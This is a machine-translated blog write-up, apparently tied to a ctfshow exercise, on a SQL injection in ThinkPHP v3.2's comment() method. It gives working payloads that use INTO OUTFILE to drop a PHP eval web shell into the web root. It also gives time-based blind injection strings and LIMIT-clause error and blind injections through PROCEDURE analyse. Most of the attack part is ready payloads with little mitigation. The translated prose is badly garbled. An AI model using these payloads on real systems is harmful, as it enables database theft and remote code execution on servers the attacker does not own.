当前位置:网站首页>ThinkPHP v3.2 comment annotation injection write shell
ThinkPHP v3.2 comment annotation injection write shell
2022-06-30 14:20:00 【Ff. cheng】
Vulnerability Details
comment Function is used to query and comment , When executed sql When the sentence is , collocation comment There may be the use of annotations to Write shell perhaps Time blind note
Loophole recurrence
Controller write demo
$user = M('Users')->comment($id)->find(intval($id));
payload
?id=1*/ into outfile "/var/www/html/3.php" LINES STARTING BY '<?php eval($_POST[0]);?>'/*

Vulnerability analysis
First look at the function call stack

Start follow-up commissioning 
To follow up comment function 
to $options add comment It's what we brought in
The intermediate process is the same as thinkphp 3.2.3find Injection process analysis is the same , Go down here select Method 
To follow up , Yes $options Medium model and bind To operate , No effect 
To follow up buildSelectSql() Begin to build sql sentence 
To follow up parseSql()
analysis $options Medium comment
To follow up 
We introduced comment Added to the comment , You can inject by closing the pre - and post annotation
Try it first

Tectonic sql The statement injection point is LIMIT 1 In the back , in other words
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT [ Injection point ]
So how to make use of this ?
Stack time blind
Local tests can try Stack injection mode for time blind injection
1*/;select if(substr(database(),1,1)='s',sleep(3),0)/*

ctfshow Under the topic environment 
LIMIT after Injection method
Mysql Next Limit Injection method | Farewell song (leavesongs.com)
Mysql The injection point is limit The utilization method behind the keyword - On that day ws
This method is applicable to MySQL 5.x in , stay limit Injection after statement
First of all to see select usage
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}] // here
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
According to the article Yes Two ways
limit Keyword followed by PROCEDURE and INTO keyword ,INTO Keywords can be used to write files when they have write permission , Take a look here PROCEDURE keyword .MySQL The only stored procedures available by default are ANALYSE (doc)
PROCEDURE
An error injection ,payload
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'
Time blind note
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
INTO
Try to make use of into outfile Write shell although dumpfile You can also write files, but because dumpfile There are no additional parameters (export_options) This is into outfile The key to utilization
Take a look at the following parameters
SELECT ... INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
[export_options]
export_options:
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']// Separator
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
OPTION Parameters are optional parameter options , The possible values are :
`FIELDS TERMINATED BY ' character string '`: Set the string as the separator between fields , It can be single or multiple characters . The default value is “\t”.
`FIELDS ENCLOSED BY ' character '`: Set the character to enclose the value of the field , Can only be a single character . By default, no symbols are used .
`FIELDS OPTIONALLY ENCLOSED BY ' character '`: Set the character to enclose CHAR、VARCHAR and TEXT Equal character field . By default, no symbols are used .
`FIELDS ESCAPED BY ' character '`: Set escape character , Can only be a single character . The default value is “\”.
`LINES STARTING BY ' character string '`: Set the character at the beginning of each line of data , It can be single or multiple characters . By default, no characters are used .
`LINES TERMINATED BY ' character string '`: Set the character at the end of each line of data , It can be single or multiple characters . The default value is “\n”.
give payload
/?id=1*/ into outfile "/var/www/html/3.php" LINES STARTING BY '<?php eval($_POST[0]);?>'/*

边栏推荐
- JS delete the objects in the array and specify to delete the objects
- I love network security for new recruitment assessment
- More than 20 years after Hong Kong's return, Tupu digital twin Hong Kong Zhuhai Macao Bridge has shocked
- Golang template (text/template)
- 想請教一下,我在佛山,到哪裏開戶比較好?手機開戶是安全麼?
- Three uses of golang underscores
- Realize a simple LAN communication (similar to feiqiu)
- 从控制层返回到js的json数据带“\”转译符,怎么去掉
- [Title brushing] avoid flooding
- Deep understanding Net (2) kernel mode 4 Summary of kernel pattern constructs
猜你喜欢

Heavyweight: the domestic ide was released, developed by Alibaba, and is completely open source!

Google Earth engine (GEE) -- converts string to number and applies it to time search (ee.date.fromymd)
![[geek challenge 2019] PHP problem solving record](/img/bf/038082e8ee1c91eaf6e35add39f760.jpg)
[geek challenge 2019] PHP problem solving record

QQ 居然被盗了?原因在这......

Introduction to the construction and development of composer private warehouse

What is erdma as illustrated by Coptic cartoon?

深入理解.Net中的线程同步之构造模式(二)内核模式2.内核模式构造物Semaphone

Deep understanding Net (2) kernel mode 4 Summary of kernel pattern constructs
![[redis series] redis learning 16. Redis Dictionary (map) and its core coding structure](/img/5a/5da6180db0b2b96660bcd9b4fa0633.png)
[redis series] redis learning 16. Redis Dictionary (map) and its core coding structure

智慧运维:基于 BIM 技术的可视化管理系统
随机推荐
Project management - common English vocabulary I
IM即时通讯应用开发中无法解决的“顽疾”
数据恢复软件EasyRecovery15下载
【科学文献计量】外文文献及中文文献关键词的挖掘与可视化
“即服务”,企业数字化转型的必然选择
Talk about Vue's two terminal diff algorithm, analysis of the rendering principle of the mobile terminal, and whether the database primary key must be self incremented? What scenarios do not suggest s
"Persistent diseases" that cannot be solved in IM application development
【科研数据处理】[基础]类别变量频数分析图表、数值变量分布图表与正态性检验(包含对数正态)
【观察】智能产业加速,为何AI算力要先行?
Pit used by go language array type
[redis series] redis learning 16. Redis Dictionary (map) and its core coding structure
[observation] as the intelligent industry accelerates, why should AI computing power take the lead?
Jetpack compose for perfect screen fit
PHP excel export function encapsulation (based on phpexcel class)
Laravel upload error
Wuenda 2022 machine learning special course evaluation is coming!
Dart extended feature
How to execute a query SQL
Four isolation levels of MySQL
Impersonate server and client using message queuing